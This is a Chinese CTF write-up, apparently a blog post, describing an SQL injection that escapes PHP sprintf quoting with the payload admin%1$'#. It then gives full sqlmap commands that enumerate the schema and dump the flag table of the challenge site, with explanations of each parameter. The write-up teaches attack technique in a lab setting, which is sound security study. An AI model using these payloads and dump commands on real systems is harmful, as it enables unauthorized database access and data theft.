本文共 1678 字,大约阅读时间需要 5 分钟。
由题目的名称明显本题是一道sql注入题
当用户名不正确时,会提示username error!。密码不正确时,提示password error!
由于手工测试没有效果,可能存在过滤或转义;这里对用户名进行fuzz这里出现sprintf函数警告,查资料了解到,sprintf函数存在格式化字符串逃逸漏洞,由报错可以看出sprintf参数少于%的个数,需要使用占位符的写法,%1$
可以逃逸引号的转义;
sprintf漏洞参考资料:[深入解析sprintf格式化字符串漏洞]
构造pyload
admin%1$'#
出现了密码错误的回显,说明拼接语句被执行了;而且是单引号闭合;接下里就是构造sql语句注出数据
测试发现没有回显,存在bool盲注、时间盲注;使用sqlmap来注入非常方便。 列举数据库系统的架构sqlmap -u http://49902678ce30456fbc1b76d569658847efe45acb5e404f66.changame.ichunqiu.com/ --data="username=admin&password=123456" --param-del="&" -p username --prefix "%1$'" --suffix "#" -b -v3 --schema --exclude-sysdbs --batch --dbms=mysql// 参数说明--dbms=mysql // 表示指定数据库为mysql--data="xxx" // 指定sqlmap用post方式提交数据--param-del="&" // 用&来分割--data中的post参数 -p // sqlmap默认测试所有的GET和POST参数,使用-p指明想要测试的参数--prefix "xxx" // 在pyload的前面加上指定内容--suffix "xxx" // 在pyload后面加上指定内容--batch //用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。--exclude-sysdbs //列举除系统库外的库表结构-v3 //指定sqlmap输出信息的详细程度为3级,此时sqlmap将会输出注入的payload,默认等级为1flag在ctf库的flag表里面,获取表内容:
sqlmap -u http://49902678ce30456fbc1b76d569658847efe45acb5e404f66.changame.ichunqiu.com/ --data="username=admin&password=123456" --param-del="&" -p username --prefix "%1$'" --suffix "#" -v3 --batch --dbms=mysql -T flag --dump// 参数说明-T flag // 指定当前库的flag表,这里省略了-D参数,默认是当前库--dump // 获取内容,这里获取flag表的所有内容
1.sprinf字符串逃逸漏洞使用%来触发 2. 使用sqlmap实现自定义post注入
1.[深入解析sprintf格式化字符串漏洞]
https://blog.csdn.net/weixin_41185953/article/details/80485075 2. [sprintf的文档] https://www.runoob.com/php/func-string-sprintf.html 3. [php sprintf格式化注入] https://www.cnblogs.com/nul1/p/9374422.html 4.[sqlmap用户手册] https://www.secpulse.com/archives/4213.html